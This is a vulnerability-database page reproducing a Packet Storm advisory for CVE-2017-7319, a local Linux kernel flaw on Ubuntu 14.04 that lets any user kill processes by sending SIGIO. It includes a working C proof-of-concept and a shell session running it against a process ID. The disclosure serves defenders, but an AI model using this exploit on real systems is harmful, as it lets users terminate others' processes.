Lucene search
K

Linux Kernel (Ubuntu 14.04 LTS) SIGIO Signal

🗓️ 30 Mar 2017 00:00:00Reported by Nassim AsrirType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 38 Views

Linux Kernel (Ubuntu 14.04 LTS) vulnerability: Send SIGIO Signal to process, leading to process terminatio

Related
Code
ReporterTitlePublishedViews
Family
CNVD
Linux kernel local denial of service vulnerability (CNVD-2017-09899)
24 May 201700:00
cnvd
CVE
CVE-2017-7319
10 Apr 201710:56
cve
Cvelist
CVE-2017-7319
10 Apr 201710:56
cvelist
NVD
CVE-2017-7319
10 Apr 201711:59
nvd
RedhatCVE
CVE-2017-7319
10 Apr 201716:48
redhatcve
SUSE CVE
SUSE CVE-2017-7319
15 Feb 202304:47
susecve
`[+] Title: Linux Kernel (Ubuntu 14.04 LTS) - Send a SIGIO Signal to process  
[+] Credits / Discovery: Nassim Asrir  
[+] Author Email: [email protected] || https://www.linkedin.com/in/nassim-asrir-b73a57122/  
[+] Author Company: Henceforth  
[+] CVE: CVE-2017-7319  
  
Vulnerable Version:  
===================  
  
Kernel: 3.16.0-28  
  
Ubuntu: 14.04 LTS  
  
Description:  
=============  
  
A vulnerability in the Linux kernel allows any user to send a SIGIO  
signal to any process. If the process does not catch or ignore the  
signal is will exit.  
  
  
Vulnerability Type:  
=====================  
  
Send a SIGIO Signal To Any Process  
  
Attack Type:  
============  
  
Local   
  
Impact:  
========  
  
Kill process  
  
Exploit:  
========  
#cyborg@cyborg:~$ cd Desktop/  
#cyborg@cyborg:~/Desktop$ gcc poc.c -o p0c  
#cyborg@cyborg:~/Desktop$ ps  
# PID TTY TIME CMD  
#19592 pts/0 00:00:00 bash  
#19631 pts/0 00:00:00 ps  
#cyborg@cyborg:~/Desktop$ ./p0c 19592  
  
  
#include <fcntl.h>  
#include <errno.h>  
#include <stdio.h>  
#include <stdlib.h>  
#include <unistd.h>  
  
int main(int argc, char *argv[]) {  
int s, p;  
  
if(argc != 2) {  
fputs("Specify a pid to send signal to.\n", stderr);  
exit(0);  
} else {  
p = atoi(argv[1]);  
}  
fcntl(0,F_SETOWN,p);  
s = fcntl(0,F_GETFL,0);  
fcntl(0,F_SETFL,s|O_ASYNC);  
printf("Sending SIGIO - press enter.\n");  
getchar();  
fcntl(0,F_SETFL,s&~O_ASYNC);  
printf("Error.\n");  
return 0;  
}  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation